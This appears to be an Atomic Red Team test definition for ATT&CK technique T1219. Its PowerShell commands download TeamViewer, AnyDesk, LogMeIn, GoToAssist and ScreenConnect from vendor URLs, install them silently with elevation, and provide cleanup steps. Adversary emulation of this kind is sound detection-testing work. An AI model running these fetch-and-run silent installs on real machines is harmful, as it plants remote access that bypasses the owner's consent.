attack_technique: T1219
display_name: Remote Access Software
atomic_tests:
- name: TeamViewer Files Detected Test on Windows
  auto_generated_guid: 8ca3b96d-8983-4a7f-b125-fc98cc0a2aa0
  description: |
    An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.
  supported_platforms:
  - windows
  executor:
    command: |
      Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe
      $file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
      Start-Process -Wait $file1 /S; 
      Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'
    cleanup_command: |-
      $file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe'
      if(Test-Path $file){ Start-Process $file "/S" -ErrorAction Ignore | Out-Null }
      $file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
      Remove-Item $file1 -ErrorAction Ignore | Out-Null
    name: powershell
    elevation_required: true
- name: AnyDesk Files Detected Test on Windows
  auto_generated_guid: 6b8b7391-5c0a-4f8c-baee-78d8ce0ce330
  description: |
    An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.
  supported_platforms:
  - windows
  executor:
    command: |
      Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe
      $file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
      Start-Process $file1 /S;
    cleanup_command: |-
      $file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe.exe"
      Remove-Item $file1 -ErrorAction Ignore
    name: powershell
    elevation_required: true
- name: LogMeIn Files Detected Test on Windows
  auto_generated_guid: d03683ec-aae0-42f9-9b4c-534780e0f8e1
  description: |
    An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.
  supported_platforms:
  - windows
  executor:
    command: |
      Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi
      $file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
      Start-Process -Wait $file1 /quiet;
      Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"
    cleanup_command: |-
      get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package 
      $file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
      Remove-Item $file1 -ErrorAction Ignore
    name: powershell
    elevation_required: true

- name: GoToAssist Files Detected Test on Windows
  auto_generated_guid: 1b72b3bd-72f8-4b63-a30b-84e91b9c3578
  description: |
    An adversary may attempt to trick the user into downloading GoToAssist and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed.
  supported_platforms:
  - windows
  executor:
    command: |
      Invoke-WebRequest -OutFile C:\Users\$env:username\Downloads\GoToAssist.exe "https://launch.getgo.com/launcher2/helper?token=e0-FaCddxmtMoX8_cY4czssnTeGvy83ihp8CLREfvwQshiBW0_RcbdoaEp8IA-Qn8wpbKlpGIflS-39gW6RuWRM-XHwtkRVMLBsp5RSKp-a3PBM-Pb1Fliy73EDgoaxr-q83WtXbLKqD7-u3cfDl9gKsymmhdkTGsXcDXir90NqKj92LsN_KpyYwV06lIxsdRekhNZjNwhkWrBa_hG8RQJqWSGk6tkZLVMuMufmn37eC2Cqqiwq5bCGnH5dYiSUUsklSedRLjh4N46qPYT1bAU0qD25ZPr-Kvf4Kzu9bT02q3Yntj02ZA99TxL2-SKzgryizoopBPg4Ilfo5t78UxKTYeEwo4etQECfkCRvenkTRlIHmowdbd88zz7NiccXnbHJZehgs6_-JSVjQIdPTXZbF9T5z44mi4BQYMtZAS3DE86F0C3D4Tcd7fa5F6Ve8rQWt7pvqFCYyiJAailslxOw0LsGyFokoy65tMF980ReP8zhVcTKYP8s8mhGXihUQJQPNk20Sw&downloadTrigger=restart&renameFile=1"
      $file1 = "C:\Users\" + $env:username + "\Downloads\GoToAssist.exe"
      Start-Process $file1 /S;
    cleanup_command: 
      try{$PathToAtomicsFolder/T1219/Bin/GoToCleanup.ps1} catch{}
    name: powershell
    elevation_required: true
- name: ScreenConnect Application Download and Install on Windows
  auto_generated_guid: 4a18cc4e-416f-4966-9a9d-75731c4684c0
  description: |
    An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory.
    Msiexec will be used to quietly insall ScreenConnect.
  supported_platforms:
  - windows
  executor:
    command: |
      $installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
      Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_21.11.4237.7885_Release.msi"
      msiexec /i $installer /qn
    cleanup_command: | 
      $installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
      msiexec /x $installer /qn
    name: powershell
    elevation_required: true
